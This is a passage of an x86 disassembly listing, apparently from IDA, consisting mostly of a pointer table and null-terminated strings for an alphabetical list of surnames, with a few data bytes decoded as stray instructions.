"Hayes" dd offset aHaynes ; "Haynes" dd offset aHazlewood ; "Hazlewood" dd offset aHeermans ; "Heermans" dd offset aHeft ; "Heft" dd offset aHeiland ; "Heiland" dd offset aHellman ; "Hellman" dd offset aHellmiss ; "Hellmiss" dd offset aHelprin ; "Helprin" dd offset aHemphill ; "Hemphill" dd offset aHenery ; "Henery" dd offset aHenrichs ; "Henrichs" dd offset aHernandez ; "Hernandez" dd offset aHerrera ; "Herrera" dd offset aHester ; "Hester" dd offset aHeubert ; "Heubert" dd offset aHeyeck ; "Heyeck" dd offset aHimmelfarb ; "Himmelfarb" dd offset aHind ; "Hind" dd offset aHirst ; "Hirst" dd offset aHitchcock ; "Hitchcock" dd offset aHoang ; "Hoang" dd offset aHock ; "Hock" dd offset aHoffer ; "Hoffer" dd offset aHoffman ; "Hoffman" dd offset aHokanson ; "Hokanson" dd offset aHokoda ; "Hokoda" dd offset aHolmes ; "Holmes" dd offset aHoloien ; "Holoien" dd offset aHolter ; "Holter" dd offset aHolway ; "Holway" dd offset aHolzman ; "Holzman" dd offset aHooker ; "Hooker" dd offset aHopkins ; "Hopkins" dd offset aHorsley ; "Horsley" dd offset aHoshida ; "Hoshida" dd offset aHostage ; "Hostage" dd offset aHottle ; "Hottle" dd offset aHoward ; "Howard" dd offset aHoy ; "Hoy" dd offset aHuey ; "Huey" dd offset aHuidekoper ; "Huidekoper" dd offset aHungerford ; "Hungerford" dd offset aHuntington ; "Huntington" dd offset aHupp ; "Hupp" dd offset aHurtubise ; "Hurtubise" dd offset aHutchings ; "Hutchings" dd offset aHyde ; "Hyde" dd offset aIaquinta ; "Iaquinta" dd offset aIchikawa ; "Ichikawa" dd offset aIgarashi ; "Igarashi" dd offset aInamura ; "Inamura" dd offset aInniss ; "Inniss" dd offset aIsaac ; "Isaac" dd offset aIsaievych ; "Isaievych" dd offset aIsbill ; "Isbill" dd offset aIsserman ; "Isserman" dd offset aIyer ; "Iyer" dd offset aJacenko ; "Jacenko" dd offset aJackson ; "Jackson" dd offset aJagers ; "Jagers" dd offset aJagger ; "Jagger" dd offset aJagoe ; "Jagoe" dd offset aJain ; "Jain" dd offset aJamil ; "Jamil" dd offset aJanjigian ; "Janjigian" dd offset aJarnagin ; "Jarnagin" dd offset aJarrell ; "Jarrell" dd offset aJay ; "Jay" dd offset aJeffers ; "Jeffers" dd offset aJellis ; "Jellis" dd offset aJenkins ; "Jenkins" dd offset aJespersen ; "Jespersen" dd offset aJewett ; "Jewett" dd offset aJohannesson ; "Johannesson" dd offset aJohannsen ; "Johannsen" dd offset aJohns ; "Johns" dd offset aJolly ; "Jolly" dd offset aJorgensen ; "Jorgensen" dd offset aJucks ; "Jucks" dd offset aJuliano ; "Juliano" dd offset aJulious ; "Julious" dd offset aKabbash ; "Kabbash" dd offset aKaboolian ; "Kaboolian" dd offset aKafadar ; "Kafadar" dd offset aKalbfleisch ; "Kalbfleisch" dd offset aKaligian ; "Kaligian" dd offset aKalil ; "Kalil" dd offset aKalinowski ; "Kalinowski" dd offset aKalman ; "Kalman" dd offset aKamel ; "Kamel" dd offset aKangis ; "Kangis" dd offset aKarpouzes ; "Karpouzes" dd offset aKassower ; "Kassower" dd offset aKasten ; "Kasten" dd offset aKawachi ; "Kawachi" dd offset aKee ; "Kee" dd offset aKeenan ; "Keenan" dd offset aKeepper ; "Keepper" dd offset aKeith ; "Keith" dd offset aKelker ; "Kelker" dd offset aKelsey ; "Kelsey" dd offset aKempton ; "Kempton" dd offset aKemsley ; "Kemsley" dd offset aKendall ; "Kendall" dd offset aKerry ; "Kerry" dd offset aKeul ; "Keul" dd offset aKhong ; "Khong" dd offset aKimmel ; "Kimmel" dd offset aKimmett ; "Kimmett" dd offset aKimura ; "Kimura" dd offset aKindall ; "Kindall" dd offset aKinsley ; "Kinsley" dd offset aKippenberger ; "Kippenberger" dd offset aKirscht ; "Kirscht" dd offset aKittridge ; "Kittridge" dd offset aKleckner ; "Kleckner" dd offset aKleiman ; "Kleiman" dd offset aKleinfelder ; "Kleinfelder" dd offset aKlemperer ; "Klemperer" dd offset aKling ; "Kling" dd offset aKlinkenborg ; "Klinkenborg" dd offset aKlint ; "Klint" dd offset aKnuff ; "Knuff" dd offset aKobrick ; "Kobrick" dd offset aKoch ; "Koch" dd offset aKohn ; "Kohn" dd offset aKoivumaki ; "Koivumaki" dd offset aKommer ; "Kommer" dd offset aKoniaris ; "Koniaris" dd offset aKonrad ; "Konrad" dd offset aKool ; "Kool" dd offset aKorzybski ; "Korzybski" dd offset aKotter ; "Kotter" dd offset aKovaks ; "Kovaks" dd offset aKraemer ; "Kraemer" dd offset aKrailo ; "Krailo" dd offset aKrasney ; "Krasney" dd offset aKraus ; "Kraus" dd offset aKroemer ; "Kroemer" dd offset aKrysiak ; "Krysiak" dd offset aKuenzli ; "Kuenzli" dd offset aKumar ; "Kumar" dd offset aKusman ; "Kusman" dd offset aKuwabara ; "Kuwabara" dd offset aLa ; "La" dd offset aLabunka ; "Labunka" dd offset aLafler ; "Lafler" dd offset aLaing ; "Laing" dd offset aLallemant ; "Lallemant" dd offset aLandes ; "Landes" dd offset aLankes ; "Lankes" dd offset aLantieri ; "Lantieri" dd offset aLanzit ; "Lanzit" dd offset aLaserna ; "Laserna" dd offset aLashley ; "Lashley" dd offset aLawless ; "Lawless" dd offset aLecar ; "Lecar" dd offset aLecce ; "Lecce" dd offset aLeclercq ; "Leclercq" dd offset aLeite ; "Leite" dd offset aLenard ; "Lenard" dd offset aLEnclos ; "l'Enclos" dd offset aLesser ; "Lesser" dd offset aLessi ; "Lessi" dd offset aLiakos ; "Liakos" dd offset aLidano ; "Lidano" dd offset aLiem ; "Liem" dd offset aLight ; "Light" dd offset aLightfoot ; "Lightfoot" dd offset aLim ; "Lim" dd offset aLinares ; "Linares" dd offset aLinda ; "Linda" dd offset aLinder ; "Linder" dd offset aLine ; "Line" dd offset aLinehan ; "Linehan" dd offset aLinzee ; "Linzee" dd offset aLippmann ; "Lippmann" dd offset aLipponen ; "Lipponen" dd offset aLittle ; "Little" dd offset aLitvak ; "Litvak" dd offset aLivernash ; "Livernash" dd offset aLivi ; "Livi" dd offset aLivolsi ; "Livolsi" dd offset aLizardo ; "Lizardo" dd offset aLocatelli ; "Locatelli" dd offset aLongworth ; "Longworth" dd offset aLoss ; "Loss" dd offset aLoveman ; "Loveman" dd offset aLowenstein ; "Lowenstein" dd offset aLoza ; "Loza" dd offset aLubin ; "Lubin" dd offset aLucas ; "Lucas" dd offset aLuciano ; "Luciano" dd offset aLuczkow ; "Luczkow" dd offset aLuecke ; "Luecke" dd offset aLunetta ; "Lunetta" dd offset aLuoma ; "Luoma" dd offset aLussier ; "Lussier" dd offset aLutcavage ; "Lutcavage" dd offset aLuzader ; "Luzader" dd offset aMa ; "Ma" dd offset aMaccormac ; "Maccormac" dd offset aMacdonald ; "Macdonald" dd offset aMaceachern ; "Maceachern" dd offset aMacintyre ; "Macintyre" dd offset aMackenney ; "Mackenney" dd offset aMacmillan ; "MacMillan" dd offset aMacy ; "Macy" dd offset aMadigan ; "Madigan" dd offset aMaggio ; "Maggio" dd offset aMahony ; "Mahony" dd offset aMaier ; "Maier" dd offset aMaineHershey ; "Maine-Hershey" dd offset aMaisano ; "Maisano" dd offset aMalatesta ; "Malatesta" dd offset aMaller ; "Maller" dd offset aMalova ; "Malova" dd offset aManalis ; "Manalis" dd offset aMandel ; "Mandel" dd offset aManganiello ; "Manganiello" dd offset aMantovan ; "Mantovan" dd offset aMarch ; "March" dd offset aMarchbanks ; "Marchbanks" dd offset aMarcus ; "Marcus" dd offset aMargalit ; "Margalit" dd offset aMargetts ; "Margetts" dd offset aMarques ; "Marques" dd offset aMartinez ; "Martinez" dd offset aMartochio ; "Martochio" dd offset aMarton ; "Marton" dd offset aMarubini ; "Marubini" dd offset aMass ; "Mass" dd offset aMatalka ; "Matalka" dd offset aMatarazzo ; "Matarazzo" dd offset aMatsukata ; "Matsukata" dd offset aMattson ; "Mattson" dd offset aMauzy ; "Mauzy" dd offset aMay ; "May" dd offset aMazzali ; "Mazzali" dd offset aMazziotta ; "Mazziotta" dd offset aMcbride ; "Mcbride" dd offset aMccaffery ; "Mccaffery" dd offset aMccall ; "Mccall" dd offset aMcclearn ; "Mcclearn" dd offset aMcdowell ; "Mcdowell" dd offset aMcelroy ; "Mcelroy" dd offset aMcfadden ; "McFadden" dd offset aMcghee ; "Mcghee" dd offset aMcgoldrick ; "Mcgoldrick" dd offset aMcilroy ; "McIlroy" dd offset aMcintosh ; "Mcintosh" dd offset aMckenna ; "Mckenna" dd offset aMclane ; "Mclane" dd offset aMclaren ; "Mclaren" dd offset aMcnealy ; "Mcnealy" dd offset aMcnulty ; "Mcnulty" dd offset aMeccariello ; "Meccariello" dd offset aMemisoglu ; "Memisoglu" dd offset aMenzies ; "Menzies" dd offset aMerikoski ; "Merikoski" dd offset aMerlani ; "Merlani" dd offset aMerminod ; "Merminod" dd offset aMerseth ; "Merseth" dd offset aMerz ; "Merz" dd offset aMetelka ; "Metelka" dd offset aMetropolis ; "Metropolis" dd offset aMeurer ; "Meurer" dd offset aMichelman ; "Michelman" dd offset aMiddle ; "Middle" dd offset aMieher ; "Mieher" dd offset aMills ; "Mills" dd offset aMinh ; "Minh" dd offset aMini ; "Mini" dd offset aMinichiello ; "Minichiello" dd offset aGonzalez ; "Gonzalez" dd offset aMitropoulos ; "Mitropoulos" dd offset aMittal ; "Mittal" dd offset aMocroft ; "Mocroft" dd offset aModestino ; "Modestino" dd offset aMoeller ; "Moeller" dd offset aMohr ; "Mohr" dd offset aMoiamedi ; "Moiamedi" dd offset aMonque ; "Monque" dd offset aMontilio ; "Montilio" dd offset aMooredech_ ; "MooreDeCh." dd offset aMorani ; "Morani" dd offset aMoreton ; "Moreton" dd offset aMorrison ; "Morrison" dd offset aMorrow ; "Morrow" dd offset aMortimer ; "Mortimer" dd offset aMosher ; "Mosher" dd offset aMosler ; "Mosler" dd offset aMostafavi ; "Mostafavi" dd offset aMotooka ; "Motooka" dd offset aMudarri ; "Mudarri" dd offset aMuello ; "Muello" dd offset aMugnai ; "Mugnai" dd offset aMulkern ; "Mulkern" dd offset aMulroy ; "Mulroy" dd offset aMumford ; "Mumford" dd offset aMussachio ; "Mussachio" dd offset aNaddeo ; "Naddeo" dd offset aNapolitano ; "Napolitano" dd offset aNardi ; "Nardi" dd offset aNardone ; "Nardone" dd offset aNaviaux ; "Naviaux" dd offset aNayduch ; "Nayduch" dd offset aNelson ; "Nelson" dd offset aNenna ; "Nenna" dd offset aNesci ; "Nesci" dd offset aNeuman ; "Neuman" dd offset aNewfeld ; "Newfeld" dd offset aNewlin ; "Newlin" dd offset aNg ; "Ng" dd offset aNi_0 ; "Ni" dd offset aNickerson ; "Nickerson" dd offset aNickoloff ; "Nickoloff" dd offset aNisenson ; "Nisenson" dd offset aNitabach ; "Nitabach" dd offset aNotman ; "Notman" dd offset aNuzum ; "Nuzum" dd offset aOcougne ; "Ocougne" dd offset aOgata ; "Ogata" dd offset aOh ; "Oh" dd offset aOHagan ; "O'hagan" dd offset aOldford ; "Oldford" dd offset aOlsen ; "Olsen" dd offset aOlson ; "Olson" dd offset aOlszewski ; "Olszewski" dd offset aOMalley ; "O'malley" dd offset aOman ; "Oman" dd offset aOMeara ; "O'meara" dd offset aOpel ; "Opel" dd offset aOray ; "Oray" dd offset aOrfield ; "Orfield" dd offset aOrsi ; "Orsi" dd offset aOspina ; "Ospina" dd offset aOstrowski ; "Ostrowski" dd offset aOttaviani ; "Ottaviani" dd offset aOtten ; "Otten" dd offset aOuchida ; "Ouchida" dd offset aOvid ; "Ovid" dd offset aPaesdealmeida ; "PaesDealmeida" dd offset aPaine ; "Paine" dd offset aPalayoor ; "Palayoor" dd offset aPalepu ; "Palepu" dd offset aPallara ; "Pallara" dd offset aPalmitesta ; "Palmitesta" dd offset aPanadero ; "Panadero" dd offset aPanizzon ; "Panizzon" dd offset aPantilla ; "Pantilla" dd offset aPaoletti ; "Paoletti" dd offset aParmeggiani ; "Parmeggiani" dd offset aParris ; "Parris" dd offset aPartridge ; "Partridge" dd offset aPascucci ; "Pascucci" dd offset aPatefield ; "Patefield" dd offset aPatrick ; "Patrick" dd offset aPattullo ; "Pattullo" dd offset aPavetti ; "Pavetti" dd offset aPavlon ; "Pavlon" dd offset aPawloski ; "Pawloski" dd offset aPaynter ; "Paynter" dd offset aPeabody ; "Peabody" dd offset aPearlberg ; "Pearlberg" dd offset aPederson ; "Pederson" dd offset aPeishel ; "Peishel" dd offset aPenny ; "Penny" dd offset aPereira ; "Pereira" dd offset aPerko ; "Perko" dd offset aPerlak ; "Perlak" dd offset aPerlman ; "Perlman" dd offset aPerna ; "Perna" dd offset aPerone ; "Perone" dd offset aPerrimon ; "Perrimon" dd offset aPeters ; "Peters" dd offset aPetruzello ; "Petruzello" dd offset aPettibone ; "Pettibone" dd offset aPettit ; "Pettit" dd offset aPfister ; "Pfister" dd offset aPilbeam ; "Pilbeam" dd offset aPinot ; "Pinot" dd offset aPlancon ; "Plancon" dd offset aPlant ; "Plant" dd offset aPlasket ; "Plasket" dd offset aPlous ; "Plous" dd offset aPo ; "Po" dd offset aPocobene ; "Pocobene" dd offset aPoincaire ; "Poincaire" dd offset aPointer ; "Pointer" dd offset aPoirier ; "Poirier" dd offset aPolak ; "Polak" dd offset aPolanyi ; "Polanyi" dd offset aPolitis ; "Politis" dd offset aPoma ; "Poma" dd offset aPoolman ; "Poolman" dd offset aPowers ; "Powers" dd offset aPresper ; "Presper" dd offset aPreucel ; "Preucel" dd offset aPrevost ; "Prevost" dd offset aPritchard ; "Pritchard" dd offset aPritz ; "Pritz" dd offset aProietti ; "Proietti" dd offset aProthrowStith ; "Prothrow-Stith" dd offset aPuccia ; "Puccia" dd offset aPugh ; "Pugh" dd offset aPynchon ; "Pynchon" dd offset aQuaday ; "Quaday" dd offset aQuetin ; "Quetin" dd offset aRabe ; "Rabe" dd offset aRabkin ; "Rabkin" dd offset aRadeke ; "Radeke" dd offset aRajagopalan ; "Rajagopalan" dd offset aRaney ; "Raney" dd offset aRangan ; "Rangan" dd offset aRankin ; "Rankin" dd offset aRapple ; "Rapple" dd offset aRayport ; "Rayport" dd offset aReddenTyler ; "Redden-Tyler" dd offset aReedquist ; "Reedquist" dd offset aCunningham ; "Cunningham" dd offset aReinold ; "Reinold" dd offset aRemak ; "Remak" dd offset aRenick ; "Renick" dd offset aRepetto ; "Repetto" dd offset aResnik ; "Resnik" dd offset aRhea ; "Rhea" dd offset aRichmond ; "Richmond" dd offset aRielly ; "Rielly" dd offset aRindos ; "Rindos" dd offset aRineer ; "Rineer" dd offset aRish ; "Rish" dd offset aRivera ; "Rivera" dd offset aRobinson ; "Robinson" dd offset aRocha ; "Rocha" dd offset aRoesler ; "Roesler" dd offset aRogers ; "Rogers" dd offset aRonen ; "Ronen" dd offset aRow ; "Row" dd offset aRoyal ; "Royal" dd offset aRu ; "Ru" dd offset aRuan ; "Ruan" dd offset aRuderman ; "Ruderman" dd offset aRuescher ; "Ruescher" dd offset aRush ; "Rush" dd offset aRyu ; "Ryu" dd offset aSabatello ; "Sabatello" dd offset aSadler ; "Sadler" dd offset aSafire ; "Safire" dd offset aSahu ; "Sahu" dd offset aSali ; "Sali" dd offset aSamson ; "Samson" dd offset aSanchezRamirez ; "Sanchez-Ramirez" dd offset aSanna ; "Sanna" dd offset aSapers ; "Sapers" dd offset aSarin ; "Sarin" dd offset aSartore ; "Sartore" dd offset aSase ; "Sase" dd offset aSatin ; "Satin" dd offset aSatta ; "Satta" dd offset aSatterthwaite ; "Satterthwaite" dd offset aSawtell ; "Sawtell" dd offset aSayied ; "Sayied" dd offset aScarponi ; "Scarponi" dd offset aScepan ; "Scepan" dd offset aScharf ; "Scharf" dd offset aScharlemann ; "Scharlemann" dd offset aScheiner ; "Scheiner" dd offset aSchiano ; "Schiano" dd offset aSchifini ; "Schifini" dd offset aSchilling ; "Schilling" dd offset aSchmitt ; "Schmitt" dd offset aSchossberger ; "Schossberger" dd offset aSchuman ; "Schuman" dd offset aSchutte ; "Schutte" dd offset aSchuyler ; "Schuyler" dd offset aSchwan ; "Schwan" dd offset aSchwickrath ; "Schwickrath" dd offset aScovel ; "Scovel" dd offset aScudder ; "Scudder" dd offset aSeaton ; "Seaton" dd offset aSeeber ; "Seeber" dd offset aSegal ; "Segal" dd offset aSekler ; "Sekler" dd offset aSelvage ; "Selvage" dd offset aSen ; "Sen" dd offset aSennett ; "Sennett" dd offset aSeterdahl ; "Seterdahl" dd offset aSexton ; "Sexton" dd offset aSeyfert ; "Seyfert" dd offset aShaikh ; "Shaikh" dd offset aShakis ; "Shakis" dd offset aShankland ; "Shankland" dd offset aShanley ; "Shanley" dd offset aShar ; "Shar" dd offset aShatrov ; "Shatrov" dd offset aShavelson ; "Shavelson" dd offset aShea ; "Shea" dd offset aSheats ; "Sheats" dd offset aShepherd ; "Shepherd" dd offset aSheppard ; "Sheppard" dd offset aShepstone ; "Shepstone" dd offset aShesko ; "Shesko" dd offset aShia ; "Shia" dd offset aShibata ; "Shibata" dd offset aShimon ; "Shimon" dd offset aSiesto ; "Siesto" dd offset aSigalot ; "Sigalot" dd offset aSigini ; "Sigini" dd offset aSigna ; "Signa" dd offset aSilverman ; "Silverman" dd offset aSilvetti ; "Silvetti" dd offset aSinsabaugh ; "Sinsabaugh" dd offset aSirilli ; "Sirilli" dd offset aSites ; "Sites" dd offset aSkane ; "Skane" dd offset aSkerry ; "Skerry" dd offset aSkoda ; "Skoda" dd offset aSloan ; "Sloan" dd offset aSlowe ; "Slowe" dd offset aSmilow ; "Smilow" dd offset aSniffen ; "Sniffen" dd offset aSnodgrass ; "Snodgrass" dd offset aSocolow ; "Socolow" dd offset aSolon ; "Solon" dd offset aSomers ; "Somers" dd offset aSommariva ; "Sommariva" dd offset aSorabella ; "Sorabella" dd offset aSorg ; "Sorg" dd offset aSottak ; "Sottak" dd offset aSoukup ; "Soukup" dd offset aSoule ; "Soule" dd offset aSoultanian ; "Soultanian" dd offset aSpanier ; "Spanier" dd offset aSparrow ; "Sparrow" dd offset aSpaulding ; "Spaulding" dd offset aSpeizer ; "Speizer" dd offset aSpence ; "Spence" dd offset aSperber ; "Sperber" dd offset aSpicer ; "Spicer" dd offset aSpiegelhalter ; "Spiegelhalter" dd offset aSpiliotis ; "Spiliotis" dd offset aSpinrad ; "Spinrad" dd offset aStmartin ; "StMartin" dd offset aStalvey ; "Stalvey" dd offset aStam ; "Stam" dd offset aStang ; "Stang" dd offset aStassinopolus ; "Stassinopolus" dd offset aStates ; "States" dd offset aStatlender ; "Statlender" dd offset aStefani ; "Stefani" dd offset aSteiner ; "Steiner" dd offset aStephanian ; "Stephanian" dd offset aStepniewska ; "Stepniewska" dd offset aStewartOaten ; "Stewart-Oaten" dd offset aStiepock ; "Stiepock" dd offset aStillwell ; "Stillwell" dd offset aStock ; "Stock" dd offset aStockton ; "Stockton" dd offset aStockwell ; "Stockwell" dd offset aStolzenberg ; "Stolzenberg" dd offset aStonich ; "Stonich" dd offset aStorer ; "Storer" dd offset aStott ; "Stott" dd offset aStrange ; "Strange" dd offset aStrauch ; "Strauch" dd offset aStreiff ; "Streiff" dd offset aStringer ; "Stringer" dd offset aSullivan ; "Sullivan" dd offset aSumner ; "Sumner" dd offset aSuo ; "Suo" dd offset aSurdam ; "Surdam" dd offset aSweeting ; "Sweeting" dd offset aSweetser ; "Sweetser" dd offset aSwindle ; "Swindle" dd offset aTagiuri ; "Tagiuri" dd offset aTai ; "Tai" dd offset aTalaugon ; "Talaugon" dd offset aTambiah ; "Tambiah" dd offset aTandler ; "Tandler" dd offset aTanowitz ; "Tanowitz" dd offset aTatar ; "Tatar" dd offset aTaveras ; "Taveras" dd offset aTawn ; "Tawn" dd offset aTcherepnin ; "Tcherepnin" dd offset aTeague ; "Teague" dd offset aTemes ; "Temes" dd offset aTemmer ; "Temmer" dd offset aTenney ; "Tenney" dd offset aTerracini ; "Terracini" dd offset aThan ; "Than" dd offset aThavaneswaran ; "Thavaneswaran" dd offset aTheodos ; "Theodos" dd offset aThibault ; "Thibault" dd offset aThisted ; "Thisted" dd offset aThomsen ; "Thomsen" dd offset aThroop ; "Throop" dd offset aTierney ; "Tierney" dd offset aTill ; "Till" dd offset aTimmons ; "Timmons" dd offset aTofallis ; "Tofallis" dd offset aTollestrup ; "Tollestrup" dd offset aTolls ; "Tolls" dd offset aTolman ; "Tolman" dd offset aTomford ; "Tomford" dd offset aToomer ; "Toomer" dd offset aTopulos ; "Topulos" dd offset aTorresi ; "Torresi" dd offset aTorske ; "Torske" dd offset aTowler ; "Towler" dd offset aToye ; "Toye" dd offset aTraebert ; "Traebert" dd offset aTrenga ; "Trenga" dd offset aTrewin ; "Trewin" ; --------------------------------------------------------------------------- fsubr st, st(3) inc edx add al, dl jmp short loc_42E6E1 ; --------------------------------------------------------------------------- align 10h enter 42EBh, 0 shr bl, 42h add [eax-53FFBD15h], bh jmp short loc_42E6F1 ; --------------------------------------------------------------------------- align 10h mov al, ds:980042EBh loc_42E6B5: ; CODE XREF: ___:0042E6C8j jmp short loc_42E6F9 ; --------------------------------------------------------------------------- align 4 dd offset aTudge ; "Tudge" ; --------------------------------------------------------------------------- mov bl, ch inc edx add [eax+780042EBh], al jmp short loc_42E709 ; --------------------------------------------------------------------------- align 4 jo short loc_42E6B5 inc edx add [eax-15h], ch inc edx add [ebx+ebp*8+42h], bl add [ebx+ebp*8+42h], dl add [eax-15h], cl inc edx add [eax-15h], al inc edx add [eax], bh loc_42E6E1: ; CODE XREF: ___:0042E69Dj jmp short loc_42E725 ; --------------------------------------------------------------------------- align 4 sub bl, ch inc edx add [eax], ah jmp short loc_42E72D ; --------------------------------------------------------------------------- align 4 sbb bl, ch inc edx add [eax], dl loc_42E6F1: ; CODE XREF: ___:0042E6ADj jmp short loc_42E735 ; --------------------------------------------------------------------------- align 4 dd offset aWaite ; "Waite" db 0 ; --------------------------------------------------------------------------- loc_42E6F9: ; CODE XREF: ___:loc_42E6B5j jmp short loc_42E73D ; --------------------------------------------------------------------------- align 4 dd offset aValencia ; "Valencia" dd offset aWales ; "Wales" dd offset aWallenberg ; "Wallenberg" db 0D8h ; --------------------------------------------------------------------------- loc_42E709: ; CODE XREF: ___:0042E6C5j jmp far ptr 42h:0EACC0042h ; --------------------------------------------------------------------------- dd offset aVanzwet ; "VanZwet" dd offset aVandenberg ; "Vandenberg" dd offset aVanheeckeren ; "Vanheeckeren" dd offset aWarshafsky ; "Warshafsky" dd offset aWasowska ; "Wasowska" db 88h ; --------------------------------------------------------------------------- loc_42E725: ; CODE XREF: ___:loc_42E6E1j jmp far ptr 42h:0EA800042h ; --------------------------------------------------------------------------- db 74h ; --------------------------------------------------------------------------- loc_42E72D: ; CODE XREF: ___:0042E6E9j jmp far ptr 42h:0EA680042h ; --------------------------------------------------------------------------- pop esp loc_42E735: ; CODE XREF: ___:loc_42E6F1j jmp far ptr 42h:0EA500042h ; --------------------------------------------------------------------------- db 44h ; --------------------------------------------------------------------------- loc_42E73D: ; CODE XREF: ___:loc_42E6F9j jmp far ptr 42h:0EA380042h ; --------------------------------------------------------------------------- dd offset aWelles ; "Welles" dd offset aWelsh ; "Welsh" dd offset aWengret ; "Wengret" dd offset aVenne ; "Venne" dd offset aVerghese ; "Verghese" dd offset aWescott ; "Wescott" dd offset aWetzel ; "Wetzel" dd offset aWhately ; "Whately" dd offset aWhilton ; "Whilton" dd offset aWhite ; "White" dd offset aWhitla ; "Whitla" dd offset aWhittaker ; "Whittaker" dd offset aViana ; "Viana" dd offset aViano ; "Viano" dd offset aWiedersheim ; "Wiedersheim" dd offset aWiener ; "Wiener" dd offset aViens ; "Viens" dd offset aVignola ; "Vignola" dd offset aWilder ; "Wilder" dd offset aWilhelm ; "Wilhelm" dd offset aWilk ; "Wilk" dd offset aWilkin ; "Wilkin" dd offset aWilkinson ; "Wilkinson" dd offset aVillarreal ; "Villarreal" dd offset aWillstatter ; "Willstatter" dd offset aWilson ; "Wilson" dd offset aVitali ; "Vitali" dd offset aViviani ; "Viviani" dd offset aVoigt ; "Voigt" dd offset aWolk ; "Wolk" dd offset aVonhoffman ; "VonHoffman" dd offset aWoo ; "Woo" dd offset aWooden ; "Wooden" dd offset aWoods ; "Woods" dd offset aWoodsPowell ; "Woods-Powell" dd offset aVorhaus ; "Vorhaus" dd offset aVotey ; "Votey" dd offset aYacono ; "Yacono" dd offset aYamane ; "Yamane" dd offset aYankee ; "Yankee" dd offset aYarchuk ; "Yarchuk" dd offset aYates ; "Yates" dd offset aYbarra ; "Ybarra" dd offset aYedidia ; "Yedidia" dd offset aYesson ; "Yesson" dd offset aYetiv ; "Yetiv" dd offset aYoffe ; "Yoffe" dd offset aYoo ; "Yoo" dd offset aYoukSee ; "Youk-See" dd offset aYu ; "Yu" dd offset aZachary ; "Zachary" dd offset aZahedi ; "Zahedi" dd offset aZangwill ; "Zangwill" dd offset aZegans ; "Zegans" dd offset aZerbini ; "Zerbini" dd offset aZoldak ; "Zoldak" dd offset aZucconi ; "Zucconi" dd offset aZurn ; "Zurn" dd offset aZwiers ; "Zwiers" dd offset aZytowski ; "Zytowski" aZytowski db 'Zytowski',0 ; DATA XREF: ___:0042E830o align 10h aZwiers db 'Zwiers',0 ; DATA XREF: ___:0042E82Co align 4 aZurn db 'Zurn',0 ; DATA XREF: ___:0042E828o align 10h aZucconi db 'Zucconi',0 ; DATA XREF: ___:0042E824o aZoldak db 'Zoldak',0 ; DATA XREF: ___:0042E820o align 10h aZerbini db 'Zerbini',0 ; DATA XREF: ___:0042E81Co aZegans db 'Zegans',0 ; DATA XREF: ___:0042E818o align 10h aZangwill db 'Zangwill',0 ; DATA XREF: ___:0042E814o align 4 aZahedi db 'Zahedi',0 ; DATA XREF: ___:0042E810o align 4 aZachary db 'Zachary',0 ; DATA XREF: ___:0042E80Co aYu db 'Yu',0 ; DATA XREF: ___:0042E808o align 10h aYoukSee db 'Youk-See',0 ; DATA XREF: ___:0042E804o align 4 aYoo db 'Yoo',0 ; DATA XREF: ___:0042E800o aYoffe db 'Yoffe',0 ; DATA XREF: ___:0042E7FCo align 4 aYetiv db 'Yetiv',0 ; DATA XREF: ___:0042E7F8o align 10h aYesson db 'Yesson',0 ; DATA XREF: ___:0042E7F4o align 4 aYedidia db 'Yedidia',0 ; DATA XREF: ___:0042E7F0o aYbarra db 'Ybarra',0 ; DATA XREF: ___:0042E7ECo align 4 aYates db 'Yates',0 ; DATA XREF: ___:0042E7E8o align 10h aYarchuk db 'Yarchuk',0 ; DATA XREF: ___:0042E7E4o aYankee db 'Yankee',0 ; DATA XREF: ___:0042E7E0o align 10h aYamane db 'Yamane',0 ; DATA XREF: ___:0042E7DCo align 4 aYacono db 'Yacono',0 ; DATA XREF: ___:0042E7D8o align 10h aVotey db 'Votey',0 ; DATA XREF: ___:0042E7D4o align 4 aVorhaus db 'Vorhaus',0 ; DATA XREF: ___:0042E7D0o aWoodsPowell db 'Woods-Powell',0 ; DATA XREF: ___:0042E7CCo align 10h aWoods db 'Woods',0 ; DATA XREF: ___:0042E7C8o align 4 aWooden db 'Wooden',0 ; DATA XREF: ___:0042E7C4o align 10h aWoo db 'Woo',0 ; DATA XREF: ___:0042E7C0o aVonhoffman db 'VonHoffman',0 ; DATA XREF: ___:0042E7BCo align 10h aWolk db 'Wolk',0 ; DATA XREF: ___:0042E7B8o align 4 aVoigt db 'Voigt',0 ; DATA XREF: ___:0042E7B4o align 10h aViviani db 'Viviani',0 ; DATA XREF: ___:0042E7B0o aVitali db 'Vitali',0 ; DATA XREF: ___:0042E7ACo align 10h aWilson db 'Wilson',0 ; DATA XREF: ___:0042E7A8o align 4 aWillstatter db 'Willstatter',0 ; DATA XREF: ___:0042E7A4o aVillarreal db 'Villarreal',0 ; DATA XREF: ___:0042E7A0o align 10h aWilkinson db 'Wilkinson',0 ; DATA XREF: ___:0042E79Co align 4 aWilkin db 'Wilkin',0 ; DATA XREF: ___:0042E798o align 4 aWilk db 'Wilk',0 ; DATA XREF: ___:0042E794o align 4 aWilhelm db 'Wilhelm',0 ; DATA XREF: ___:0042E790o aWilder db 'Wilder',0 ; DATA XREF: ___:0042E78Co align 4 aVignola db 'Vignola',0 ; DATA XREF: ___:0042E788o aViens db 'Viens',0 ; DATA XREF: ___:0042E784o align 4 aWiener db 'Wiener',0 ; DATA XREF: ___:0042E780o align 4 aWiedersheim db 'Wiedersheim',0 ; DATA XREF: ___:0042E77Co aViano db 'Viano',0 ; DATA XREF: ___:0042E778o align 4 aViana db 'Viana',0 ; DATA XREF: ___:0042E774o align 10h aWhittaker db 'Whittaker',0 ; DATA XREF: ___:0042E770o align 4 aWhitla db 'Whitla',0 ; DATA XREF: ___:0042E76Co align 4 aWhite db 'White',0 ; DATA XREF: ___:0042E768o align 4 aWhilton db 'Whilton',0 ; DATA XREF: ___:0042E764o aWhately db 'Whately',0 ; DATA XREF: ___:0042E760o aWetzel db 'Wetzel',0 ; DATA XREF: ___:0042E75Co align 4 aWescott db 'Wescott',0 ; DATA XREF: ___:0042E758o aVerghese db 'Verghese',0 ; DATA XREF: ___:0042E754o align 4 aVenne db 'Venne',0 ; DATA XREF: ___:0042E750o align 10h aWengret db 'Wengret',0 ; DATA XREF: ___:0042E74Co aWelsh db 'Welsh',0 ; DATA XREF: ___:0042E748o align 10h aWelles db 'Welles',0 ; DATA XREF: ___:0042E744o align 4 aVelasquez db 'Velasquez',0 align 4 aWeissman db 'Weissman',0 align 10h aWeissbourd db 'Weissbourd',0 align 4 aWeinhaus db 'Weinhaus',0 align 4 aWeingarten db 'Weingarten',0 align 4 